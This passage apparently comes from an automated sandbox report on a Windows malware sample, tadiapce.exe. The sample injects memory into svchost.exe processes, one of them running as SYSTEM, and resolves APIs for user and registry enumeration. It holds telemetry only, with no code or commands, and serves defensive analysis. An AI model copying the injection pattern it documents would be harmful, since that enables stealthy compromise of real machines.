Get Time type = System Time, time = 2019-05-14 15:32:42 (UTC) True 1
Fn
Get Time type = Ticks, time = 11001237 True 1
Fn
Get Time type = Performance Ctr, time = 22777403885 True 1
Fn
Process #34: svchost.exe
62 0
»
Information Value
ID #34
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:02:34, Reason: Child Process
Unmonitor End Time: 00:02:37, Reason: Crashed
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xa60
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A94
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x50000, size = 367 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x60000, size = 112 True 62
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x602104, size = 12 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10000000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10001000, size = 10240 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 3584 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10005000, size = 1004 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10005000, size = 512 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10006000, size = 1024 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 26 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x70000, size = 12 True 7
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 17 True 7
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x70000, size = 16 True 45
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004018, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 14 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000401c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 15 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004020, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 20 True 5
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004024, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 9 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004028, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000402c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 12 True 5
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004030, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 10 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004034, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004038, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000403c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 25 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004040, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 18 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004044, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004048, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 24 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000404c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004050, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 19 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004054, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 13 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004058, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000405c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 27 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004060, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 6 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004064, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004068, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 28 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000406c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004004, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004008, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000400c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004010, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 21 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040c8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040cc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 16 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004080, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004084, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004088, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000408c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 22 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000409c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 11 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 5 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040ac, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 7 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040b0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040b4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040b8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040bc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040c0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004094, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004074, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004078, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x70000, size = 1024 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100000, size = 388 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x350000, size = 40 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x9e4 address = 0x360000, size = 20 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100000, size = 128 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x370000, size = 44 True 1
Fn
Data
Host Behavior
Module (59)
»
Operation Module Additional Information Success Count Logfile
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load ADVAPI32.dll base_address = 0x774c0000 True 1
Fn
Load ole32.dll base_address = 0x76cd0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x76a60000 True 1
Fn
Load msvcrt.dll base_address = 0x76f80000 True 1
Fn
Load SHLWAPI.dll base_address = 0x771d0000 True 1
Fn
Load NETAPI32.dll base_address = 0x73c20000 True 1
Fn
Get Handle c:\windows\system32\svchost.exe base_address = 0x600000 True 1
Fn
Get Handle c:\windows\system32\advapi32.dll base_address = 0x774c0000 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleW, address_out = 0x76b6374d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetVersionExW, address_out = 0x76b53b1a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenW, address_out = 0x76b5d9e8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76b6ed38 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcess, address_out = 0x76b5cdcf True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateProcess, address_out = 0x76b52331 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76b62fde True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessId, address_out = 0x76b5cac4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentThreadId, address_out = 0x76b5bb80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount, address_out = 0x76b5ba60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76b5bb9f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedCompareExchange, address_out = 0x76b5bb92 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedExchange, address_out = 0x76b5bf0a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76b63d01 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegEnumKeyExW, address_out = 0x774d46c8 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExW, address_out = 0x774d468d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryValueExW, address_out = 0x774d46ad True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCloseKey, address_out = 0x774d469d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryInfoKeyW, address_out = 0x774d46e7 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitializeSecurity, address_out = 0x76cf7259 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoCreateInstance, address_out = 0x76d19d0b True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoSetProxyBlanket, address_out = 0x76ce5ea5 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoUninitialize, address_out = 0x76d186d3 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitializeEx, address_out = 0x76d109ad True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 12, address_out = 0x76a65dee True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 7, address_out = 0x76a64680 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 9, address_out = 0x76a63eae True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 2, address_out = 0x76a64642 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _except_handler4_common, address_out = 0x76fa3e27 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = ??2@YAPAXI@Z, address_out = 0x76f8b0c9 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _amsg_exit, address_out = 0x76feb2ef True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _initterm, address_out = 0x76f8c151 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = free, address_out = 0x76f89894 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = malloc, address_out = 0x76f89cee True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _XcptFilter, address_out = 0x76fadc75 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = ??1type_info@@UAE@XZ, address_out = 0x76fd92b3 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _vsnwprintf, address_out = 0x76f8bbce True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = ??3@YAXPAX@Z, address_out = 0x76f8b0b9 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrFormatByteSizeW, address_out = 0x7720169d True 1
Fn
Get Address c:\windows\system32\netapi32.dll function = NetUserEnum, address_out = 0x735c59cf True 1
Fn
Get Address c:\windows\system32\netapi32.dll function = NetApiBufferFree, address_out = 0x73c113d2 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegGetValueW, address_out = 0x774d0e47 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:32:43 (UTC) True 1
Fn
Get Time type = Ticks, time = 11002469 True 1
Fn
Get Time type = Performance Ctr, time = 22901016553 True 1
Fn
Process #35: svchost.exe
79363 1
»
Information Value
ID #35
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:07, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:01:09
OS Process Information
»
Information Value
PID 0x110
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 418
0x 68C
0x 7E4
0x A3C
0x 670
0x A34
0x BC8
0x CFC
0x CF8
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x50000, size = 367 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x60000, size = 112 True 116
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x602104, size = 12 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10000000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10001000, size = 343040 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055000, size = 80384 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10069000, size = 165288 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10069000, size = 154624 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10092000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10093000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10094000, size = 12288 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 26 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 12 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 16 True 113
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550b8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 21 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550bc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550c0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 13 True 15
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550c4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 14 True 8
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550c8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 10 True 7
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550cc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550d0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 22 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550d4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 12 True 14
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550d8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 18 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550dc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 15 True 12
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550e0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550e4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 20 True 5
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550e8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550ec, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550f0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 17 True 8
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550f4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550f8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100550fc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055100, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055104, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 19 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055108, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1005510c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055110, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055114, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055118, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1005511c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055120, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055124, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10055128, size = 4 True 1
Fn
Data
